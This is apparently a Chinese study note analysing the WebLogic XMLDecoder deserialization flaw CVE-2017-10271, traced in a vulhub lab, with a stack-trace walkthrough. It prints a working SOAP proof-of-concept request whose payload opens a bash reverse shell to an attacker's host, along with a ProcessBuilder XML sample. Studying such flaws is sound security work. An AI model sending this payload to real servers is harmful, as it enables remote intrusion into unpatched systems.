weblogic反序列化
大概就两种,一种是通过T3协议来发送反序列化恶意对象,还有一种就是XMLDecoder反序列化
XMLDecoder反序列化
CVE-2017-10271
影响版本:
- Oracle WebLogic Server 10.3.6.0.0
- Oracle WebLogic Server 12.1.3.0.0
- Oracle WebLogic Server 12.2.1.1.0
- Oracle WebLogic Server 12.2.1.2.0
该漏洞主要针对weblogic的WLS-WebServices组件
属于上述反序列化漏洞利用的第三类
大致的原理通过传输javabean XML方式构造恶意XML数据造成代码执行
学前知识:
1 2 3 4 5 6 7 8 9 10
| <java> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="1"> <void index="0"> <string>calc</string> </void> </array> <void method="start"></void> </object> </java>
|
1 2 3 4 5 6 7 8 9 10 11 12
| import java.io.FileInputStream; import java.beans.XMLDecoder;
public class xmlDecoder { public static void main(String[] args) throws Exception { try(FileInputStream fileInputStream = new FileInputStream("1.xml")){ XMLDecoder xmlDecoder = new XMLDecoder(fileInputStream); Object o = xmlDecoder.readObject(); System.out.println(o); } } }
|
关于XMLDecoder触发反序列化导致命令执行的调试过程就不分析了
poc
注意其中的实体转义
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: your-ip:7001 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 633
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.8.0_131" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i >& /dev/tcp/ip/port 0>&1</string> </void> </array> <void method="start" /> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body /> </soapenv:Envelope>
|
这里我们远程调试一下vulhub的CVE-2017-10271环境
根据poc,当我们传入<soapenv>
标签包裹的数据时,wls-wsat使用了weblogic自带的
webservices处理程序来处理SOAP请求
具体堆栈调用如下
然后先进入weblogic.wsee.jaxws.workcontext.WorkContextServerTube
中的
processRequest方法,获取到我们传入的xml数据为var1,是一个packet类
然后定义var2为处理过的var1数据
通过var2.get()方法中的WorkAreaConstants.WORK_AREA_HEADER
参数获取<work:WorkContext >
标签中的内容作为var3
当var3不为空时,执行readHeaderOld(var3)
在readHeaderOld中,实例化了WorkContextXmlInputAdapter,此时方法内的var4就是我们java标签里的内容
通过var4
生成了var6
的WorkContextXmlInputAdapter
类
这里直接对传入的var4调用了xmlDecoder
后半段就是带着java恶意字节码不断传递
最后调用到了其readUTF()
方法,从而进行了XMLDecoder.readObject()
的反序列化
为什么XMLDecoder会触发反序列化导致命令执行
[Java安全]XMLDecoder反序列化学习(一)_bfengj的博客-CSDN博客
java反序列化——XMLDecoder反序列化漏洞 - FreeBuf网络安全行业门户
XMLDecoder过程中的几个关键函数及补丁绕过
XMLDecoder解析流程分析 (seebug.org)
T3协议发送反序列化恶意对象
还没有分析,以后有空再回来调试看一下,java学习先就此告一段落吧